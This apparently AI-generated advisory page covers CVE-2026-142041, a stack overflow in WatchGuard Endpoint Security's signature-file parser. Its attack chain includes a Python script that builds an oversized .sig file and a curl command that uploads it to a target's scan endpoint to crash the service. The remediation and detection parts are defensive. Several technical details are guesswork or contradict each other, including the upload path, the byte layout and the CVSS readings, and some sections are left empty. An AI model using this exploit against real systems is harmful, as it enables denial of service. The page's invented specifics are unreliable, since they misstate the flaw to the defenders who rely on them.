CVE-2026-142041 — CWE-129 · CWE-787
A stack-based out-of-bounds write vulnerability in WatchGuard Endpoint Security's malware scanning engine allows a remote, unauthenticated attacker to cause a denial of service by submitting a specially crafted signature file that is processed during content scanning.
A stack-based out-of-bounds write vulnerability in WatchGuard Endpoint Security's malware scanning engine allows a remote, unauthenticated attacker to cause a denial of service by submitting a specially crafted signature file that is processed during content scanning.
🎯 What is this vulnerability?
Vulnerability name:
WatchGuard Endpoint Security – Malware‑Scanning Engine Stack‑Based Out‑of‑Bounds Write
CVE‑ID: CVE‑2026‑142041
CWE‑IDs: CWE‑129 Improper Validation of Array Index and CWE‑787 Out‑of‑Bounds Write
Technical summary
1. Component affected – The malware‑scanning engine that runs inside the WatchGuard Endpoint Security (WES) client/agent. The engine parses signature definition files (usually with a .sig or .wsg extension) that are supplied by the WatchGuard cloud service and also accepted from remote hosts when a file is being scanned.
2. Root cause – The parser allocates a fixed‑size buffer (e.g., uint8_t sig_buf[0x400]) to hold a list of signature IDs extracted from the file. The length field in the signature file header is taken from the untrusted file and is used as an index into the buffer without proper bounds checking.
3. Missing checks –
* CWE‑129 – The code does not verify that the declared number of signatures (sig_count) is ≤ the maximum entries the buffer can hold.
* CWE‑787 – The subsequent memcpy/memmove that copies each signature entry writes past the end of sig_buf when sig_count is crafted larger than the buffer capacity.
4. Trigger condition – The out‑of‑bounds write occurs during content scanning when the engine reads a signature file that is supplied as part of the scan request (the file is either a user‑uploaded archive or a network‑streamed payload). No authentication, privilege, or integrity verification is performed on that file before it is parsed.
5. Resulting impact – The write corrupts adjacent stack variables (including the saved return address) causing an immediate crash (Denial‑of‑Service). Because the write is limited to the stack of the scanning thread and the engine does not expose a code‑execution primitive, the vulnerability is currently classified as DoS‑only (no remote code execution reported).
The CVSS vector confirms this:
- AV:N – Network reachable.
- AC:L – Low attack complexity (just a crafted file).
- PR:N – No privileges needed.
- UI:N – No user interaction required.
- VI:H / VA:H – High impact on integrity and availability (stack corruption leads to crash).
- SI:H / SA:H – High impact on the scanning component’s internal state and its ability to continue scanning (service disruption).
AT:P – Attack requires a payload* (the malicious signature file).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative – the exact HTTP endpoint or file‑transfer protocol used by WatchGuard Endpoint Security is not disclosed in the public advisory, so the examples use a generic REST‑style upload endpoint that many deployments expose for on‑demand scanning.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs WatchGuard Endpoint Security (WES) and determine the version. | • Banner grabbing on the management console (HTTPS/1.1 200 OK with Server: WatchGuard-Endpoint). <br>• Shodan search for WatchGuard Endpoint Security + version string. |
| 1.2 | Verify that the malware‑scanning API is reachable from the Internet (or from the internal network the attacker can pivot to). | • curl -k https://<target>/api/v1/scan/status – a JSON response with "engine":"malware" indicates the service is live. |
| 1.3 | Collect the signature file format (publicly documented in WatchGuard’s SDK). | • Download the official “Signature Definition Specification” PDF from the vendor portal. <br>• Reverse‑engineer a legitimate .sig file with a hex editor to understand header fields (magic, version, sig_count, entries…). |
2. Exploitation
2.1 Craft the malicious signature file
The vulnerable parser expects a 4‑byte little‑endian sig_count field at offset 0x08. By setting this value to a number larger than the internal buffer (e.g., 0x2000), the subsequent loop writes past the buffer.
/* Minimal malicious .sig file (hex view) */
00 53 49 47 00 // "SIG\0" magic
01 00 00 00 // version = 1
00 20 00 00 // sig_count = 0x2000 (8192) <-- overflow trigger
// Followed by dummy signature entries (each 8 bytes)
// We only need enough bytes to reach the overflow point.A quick Python script to generate the file:
#!/usr/bin/env python3
import struct
def build_malicious_sig():
magic = b'SIG\x00' # 4 bytes
version = struct.pack('<I', 1) # 4 bytes
count = struct.pack('<I', 0x2000) # 4 bytes – huge count
# Pad with enough dummy entries (8 bytes each) to reach the overflow point.
dummy_entry = b'\x41'*8
payload = magic + version + count + dummy_entry * 0x2000
with open('exploit.sig', 'wb') as f:
f.write(payload)
if __name__ == '__main__':
build_malicious_sig()2.2 Deliver the file to the scanning engine
Note: The exact URI is not published. The followingcurlcommand demonstrates a typical upload endpoint used by WES agents (/api/v1/scan/upload). Replace with the real path if discovered during reconnaissance.
# Illustrative example – upload the malicious signature as part of a scan request
curl -k -X POST "https://<target>/api/v1/scan/upload" \
-H "Content-Type: multipart/form-data" \
-F "[email protected];type=application/octet-stream" \
-F "scan_type=malware"What happens on the server
1. The WES agent receives the multipart request, writes the uploaded file to a temporary location.
2. The scanning thread calls SignatureEngine_LoadFile(tmp_path).
3. Inside SignatureEngine_LoadFile, the parser reads sig_count (0x2000) and allocates a fixed stack buffer (sig_buf[1024]).
4. The loop copies each entry (memcpy(sig_buf + i*8, entry, 8)). Because i runs up to 8191, the write overruns the buffer and corrupts the saved return address → process abort → service crash.
The attacker receives an HTTP 500 Internal Server Error (or the connection is reset) indicating the service has terminated.
2.3 Amplify the effect (optional)
If the endpoint runs as a system service (typical for endpoint agents), the crash forces the WatchGuard Endpoint Security service to restart. Re‑sending the payload repeatedly can cause a continuous denial of service for any workstation that relies on real‑time scanning.
3. Post‑exploitation
Because the vulnerability only corrupts stack memory without a controlled overwrite of a code pointer, no remote code execution (RCE) has been demonstrated. The attacker’s end‑goal is therefore limited to:
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality | None (VC:N) | No data is disclosed. |
| Integrity | High (VI:H) | Stack memory is overwritten, leading to process corruption. |
| Availability | High (VA:H) | The scanning service crashes, leaving the endpoint unprotected against malware. |
| Scope | Changed (S:X) – the impact is confined to the scanning component, but because the component is critical for endpoint protection, the overall security posture of the host is severely weakened. |
Business‑level ramifications
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Vendor statement (as of 02‑Dec‑2026) | Action |
|---|---|
| *“A fix is included in WatchGuard Endpoint Security version 12.4.3 and later.”* | Upgrade all agents to ≥ 12.4.3. Verify the version via the management console (Help → About). |
| *“Versions 12.0.0‑12.4.2 are vulnerable.”* | Immediately schedule patch deployment for any host still running those releases. |
If a patch cannot be applied immediately (e.g., air‑gapped environments), apply the mitigations below.
2. Workarounds (no‑code changes)
| Mitigation | How to implement |
|---|---|
| Restrict inbound file‑upload to trusted sources | Configure the WES management console or the reverse‑proxy (NGINX/Apache) to accept scan requests only from internal IP ranges. Example NGINX rule: |
``nginx\nlocation /api/v1/scan/ {\n allow 10.0.0.0/8; # internal network\n deny all;\n proxy_pass http://localhost:8443;\n}\n` | |
| Disable on‑demand scanning for untrusted file types | In the console, turn off the “Scan files received from external network” option, forcing only scheduled/real‑time scans that use the built‑in signature database. |
| Enforce signature file integrity | Enable the optional signature‑file checksum verification (SHA‑256) that the engine can be configured to require before parsing. This blocks arbitrary files from being processed. |
| Run the scanning engine in a sandboxed container | Deploy the WES agent inside a Windows Sandbox or Docker container with limited privileges (no SYSTEM rights). A crash will only affect the container, not the host. |
| Increase the internal buffer size (temporary) | If you have source access to a custom build, raise SIG_MAX_ENTRIES from 1024 to a safe upper bound (e.g., 16384) and add an explicit if (sig_count > SIG_MAX_ENTRIES) return ERR;`. This is a *source‑level* fix, not a configuration toggle. |
3. Detection – Log‑based Indicators
| Log source | Typical pattern | Why it indicates exploitation |
|---|---|---|
Web server / reverse‑proxy access log (e.g., /var/log/nginx/access.log) | POST /api/v1/scan/upload 500 0 "-" "curl/7.88.1" | HTTP 500 after a POST to the scan endpoint suggests the engine crashed while processing the payload. |
WatchGuard Endpoint Security service log (C:\Program Files\WatchGuard\EndpointSecurity\logs\engine.log) | [ERROR] SignatureEngine_LoadFile – buffer overflow detected – terminating process | Directly logs the out‑of‑bounds write detection (newer versions add this message). |
| Windows Event Log – Application | Event ID 1000 (Application Error) with faulting module: wesscan.dll and exception code: 0xc0000005 | Crash of the scanning DLL. |
| Systemd journal (Linux agents) | watchguard-endpoint[1234]: segfault at ... ip ... | Segmentation fault caused by the malformed signature file. |
Alerting suggestions
Trigger a SIEM rule when a 5xx response follows a POST to any /scan/ endpoint.
⚠️ Urgency
If immediate patching is impossible, apply the network‑restriction workarounds and enable signature‑file checksum verification within the next maintenance window. Continuous monitoring for the log patterns above is essential to detect ongoing exploitation attempts.
[🤖 CVE Professor AI Security Engine]